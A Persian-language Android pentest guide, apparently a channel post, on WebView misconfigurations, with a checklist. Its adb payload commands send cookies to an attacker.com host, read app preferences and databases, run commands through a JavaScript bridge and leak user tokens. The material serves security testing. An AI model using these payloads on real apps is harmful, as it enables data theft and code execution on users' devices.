آسیب پذیری های رایج وب ویو به شرح زیر است
1) setJavaScriptEnabled(true)
فعال شدن جاوااسکریپت = راه ورود XSS. مهاجم میتونه اسکریپت مخرب تزریق کنه و توکن یا اطلاعات کاربر رو بدزده.
# تزریق مستقیم javascript در WebView
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert('XSS')"
# تزریق از طریق دیپ لینک با payload
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://webview?url=javascript:document.location='http://attacker.com/steal?c='document.cookie"
2) setAllowUniversalAccessFromFileUrls(true)
اجازه میده فایلهای HTML به همه فایل scheme ها و محتوای هر origin دیگه ای دسترسی داشته باشن (دیسیبل شدن SOP). مهاجم میتونه فایلهای دیتابیس و SharedPreferences رو بخونه.
# خواندن فایل SharedPreferences
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/shared_prefs/config.xml"
# خواندن دیتابیس اپ
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/databases/app.db"
3) addJavascriptInterface
بسیار خطرناک! مهاجم میتونه از طریق JS، متدهای کلاس متصل شده رو فراخوانی کنه و به کد native دسترسی پیدا کنه → RCE کامل روی دستگاه.
# تست وجود interface با alert
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert(Object.keys(window))"
# اگر interface با نام "bridge" وجود داشت، اجرای فرمان
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getClass().forName('java.lang.Runtime').getMethod('exec','java.lang.String[]').invoke(null,['su','-c','id'])"
#فراخوانی یک متد از کلاس جاوا و نشت توکن کاربر(تنها در صورتی که متد در کلاس جاوا تعریف شده باشد)
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getUserToken()"
4) setAllowContentAccess(true)
اجازه دسترسی به Content Provider ها از طریق content://، مهاجم میتونه دیتابیسهای داخلی، مخاطبین، یا فایلهای حساس اپ رو بدزده.
# دسترسی به دیتابیس اپ از طریق Content Provider
adb shell am start -n com.target.app/.WebViewActivity -d "content://com.target.app.provider/users"
# دسترسی به مخاطبین دستگاه (اگر Permission داشته باشه)
adb shell am start -n com.target.app/.WebViewActivity -d "content://contacts/phones/"
5) لود URL از ورودی کاربر
اگر loadUrl() مقدارش از Intent، دیپ لینک یا هر ورودی خارجی بیاد، مهاجم میتونه حملات زیر رو ترتیب بده:
Scheme | حمله
-----------------+------------------------------------
`javascript://` | XSS
`file://` | خواندن فایل
`intent://` | ریدایرکت به اکتیویتی غیراکسپورت شده
`data:text/html` | XSS مستقیم
# تست javascript scheme
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=javascript:alert('xss')"
# تست file scheme برای خواندن فایل
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/token.xml"
# تست intent scheme برای ردایرکت به Activity غیر اکسپورت شده
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=intent:#Intent;component=com.target.app/.PrivateActivity;end"
# تست data:text/html برای XSS مستقیم
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=data:text/html,<script>alert('XSS')</script>"
📌 نکته مهم
وب ویویی که exported نباشد، فقط لانچ مستقیم را مسدود میکند. اگر اپ از طریق deeplink، Notification، Broadcast، یا Content Provider به WebView برسد، همه آسیبپذیریها همچنان قابل بهرهبرداری هستند.
پس در پنتست:
• اول مسیرهای رسیدن به WebView را پیدا کنید! (deeplink، Broadcast، Content Provider)
• بعد آن مسیرها را برای ارسال payloadهای مخرب تست کن
چکلیست پنتست:
• مسیرهای رسیدن به WebView رو پیدا کن (deeplink، Broadcast، Content Provider)
• تست XSS با
javascript:alert()• تست خواندن فایل با
file:///data/data/...• تست JavaScript Interface با
Object.keys(window)• تست Content Provider با
content://...@securation
#Android #RE #Owasp #Mastg #webview